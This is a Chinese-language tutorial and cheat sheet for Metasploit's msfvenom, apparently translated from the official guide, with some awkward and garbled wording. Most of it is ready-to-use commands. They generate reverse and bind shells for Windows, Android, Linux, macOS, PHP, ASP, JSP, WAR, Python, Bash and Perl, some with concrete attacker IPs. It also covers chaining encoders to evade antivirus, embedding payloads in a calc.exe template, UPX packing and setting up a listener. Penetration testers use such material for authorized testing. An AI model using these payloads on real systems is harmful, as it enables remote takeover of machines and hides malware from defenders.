Msfvenom是净荷生成和编码的组合。 它将取代msfpayload和msfencode于2015年6月8日。
要开始使用msfvenom,首先请看看它支持的选项:

Options:
-p, –payload Payload to use. Specify a ‘-‘ or stdin to use custom payloads
-l, –list [module_type] List a module type. Options are: payloads, encoders, nops, all
-n, –nopsled Prepend a nopsled of [length] size on to the payload
-f, –format Output format (use –help-formats for a list)
-e, –encoder [encoder] The encoder to use
-a, –arch The architecture to use
–platform The platform of the payload
-s, –space The maximum size of the resulting payload
-b, –bad-chars The list of characters to avoid example: ‘\x00\xff’
-i, –iterations The number of times to encode the payload
-c, –add-code Specify an additional win32 shellcode file to include
-x, –template Specify a custom executable file to use as a template
-k, –keep Preserve the template behavior and inject the payload as a new thread
–payload-options List the payload’s standard options
-o, –out Save the payload
-v, –var-name Specify a custom variable name to use for certain output formats
-h, –help Show this message
–help-formats List available formats

0x01 如何产生一个有效载荷

为了产生一个有效载荷,还有,你必须提供(-p和-f)两个标志:

-p标志:指定哪些有效载荷生成
要查看有效载荷可从框架,你可以这样做:

msfvenom -l payloads

-p标志也支持“ - ”,以此来接受一个自定义的有效载荷:

cat payload_file.bin | msfvenom -p - -a x86 –platform win -e x86/shikata_ga_nai -f raw

-f标志:指定有效载荷的格式
语法的例子:

msfvenom -p windows/meterpreter/bind_tcp -f exe

要查看支持哪些格式,可以执行以下操作来找出:

msfvenom –help-formats

通常情况下,这可能是你将如何使用msfvenom:

msfvenom -p windows/meterpreter/reverse_tcp lhost=[Attacker’s IP] lport=4444 -f exe -o /tmp/my_payload.exee

0x02 如何有效载荷进行编码

默认情况下,当您使用-b标志(该badchar标志)的编码功能将自动一命呜呼 在其他情况下,你必须使用-e标志如下所示:

msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -f raw

要找出你可以使用的编码器,可以使用-l标志:

msfvenom -l encoders

您也可以使用-i标志进行编码的有效载荷多次。 有时更多的迭代可以帮助避免杀毒软件,但知道的编码是不是真的意味着要使用一个真正的AV回避的解决方案:

msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -i 3

0x03如何避免坏字符

b标志是为了被使用,以避免在负载某些字符。 当使用此选项,msfvenom会自动找到一个合适的编码器的有效载荷进行编码:

msfvenom -p windows/meterpreter/bind_tcp -b ‘\x00’ -f raw

0x04如何提供一个自定义模板

默认情况下,msfvenom使用模板从MSF /数据/模板目录。 如果您想选择你自己的,你可以用-x标志如下所示:

msfvenom -p windows/meterpreter/bind_tcp -x calc.exe -f exe > new.exe

请注意:如果你想创建一个64位的有效载荷与的Winodws自定义64自定义模板,而不是exe格式的话,你应该使用EXE只:

msfvenom -p windows/x64/meterpreter/bind_tcp -x /tmp/templates/64_calc.exe -f exe-only > /tmp/fake_64_calc.exe

-x标志往往是搭配-k标志,它允许你运行你的有效载荷从模板创建一个新的线程。 然而,这是目前唯一可靠的旧的Windows机器,如x86的Windows XP中。

0x05如何链msfvenom输出

老msfpayload和msfencode公用事业往往链接在一起的多种编码的顺序层。 这是可能的使用msfvenom还有:
生成windows payload

$msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.3 LPORT=4444 -f raw -e x86/shikata_ga_nai -i 5 | \
msfvenom -a x86 --platform windows -e x86/countdown -i 8  -f raw | \
msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 9 -f exe -o payload.exe

使用upx压缩

upx -5 payload.exe

系统payload

windows payload
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b ‘\x00’ LHOST=45.32.94.102 LPORT=8888 -f exe > a.exe

android payload

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.103 LPORT=4444 R > androvirus.apk

Linux

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf

Mac

msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho

Web Payloads

PHP

msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php

ASP

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp

JSP

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp

WAR

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war

脚本Payloads

Python

msfvenom -p cmd/unix/reverse_python LHOST= LPORT= -f raw > shell.py

Bash

msfvenom -p cmd/unix/reverse_bash LHOST= LPORT= -f raw > shell.sh

Perl

msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl

0x06 Handlers

Metasploit handlers can be great at quickly setting up Metasploit to be in a position to receive your incoming shells. Handlers should be in the following format.

use exploit/multi/handler, set PAYLOAD set LHOST xxxx, set LPORT xxxx ,set ExitOnSession false ,exploit -j -z

0x07 参考:

1 How to use msfvenom